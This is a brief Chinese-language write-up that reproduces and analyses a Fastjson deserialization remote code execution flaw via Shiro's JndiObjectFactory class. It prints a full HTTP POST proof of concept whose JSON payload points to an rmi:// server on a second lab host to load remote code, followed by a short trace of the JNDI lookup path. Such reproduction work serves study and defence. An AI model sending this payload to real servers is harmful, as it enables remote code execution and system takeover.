Fastjson ShiroCore Rce漏洞复现&分析
0x01 漏洞背景
0x02 漏洞复现
poc:
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.3:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 119
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"rmi://192.168.52.2:9999/rce_1_2_24_exploit"
}
0x03 漏洞分析
同其他利用链一样,该利用同样是使用未在黑名单中的类进行绕过。
从poc便可得知,在为org.apache.shiro.jndi.JndiObjectFactory这个类resourceName属性进行赋值时调用该方法,最后通过set或者get方法进行jndi调用导致命令执行。
打开org.apache.shiro.jndi.JndiObjectFactory这个类的源码跟踪调试看看
在调用getinstance这个get方法的时候进入了jndi的lookup调用方法
最终通过这个lookup调用我们控制的ResourceName中的rmi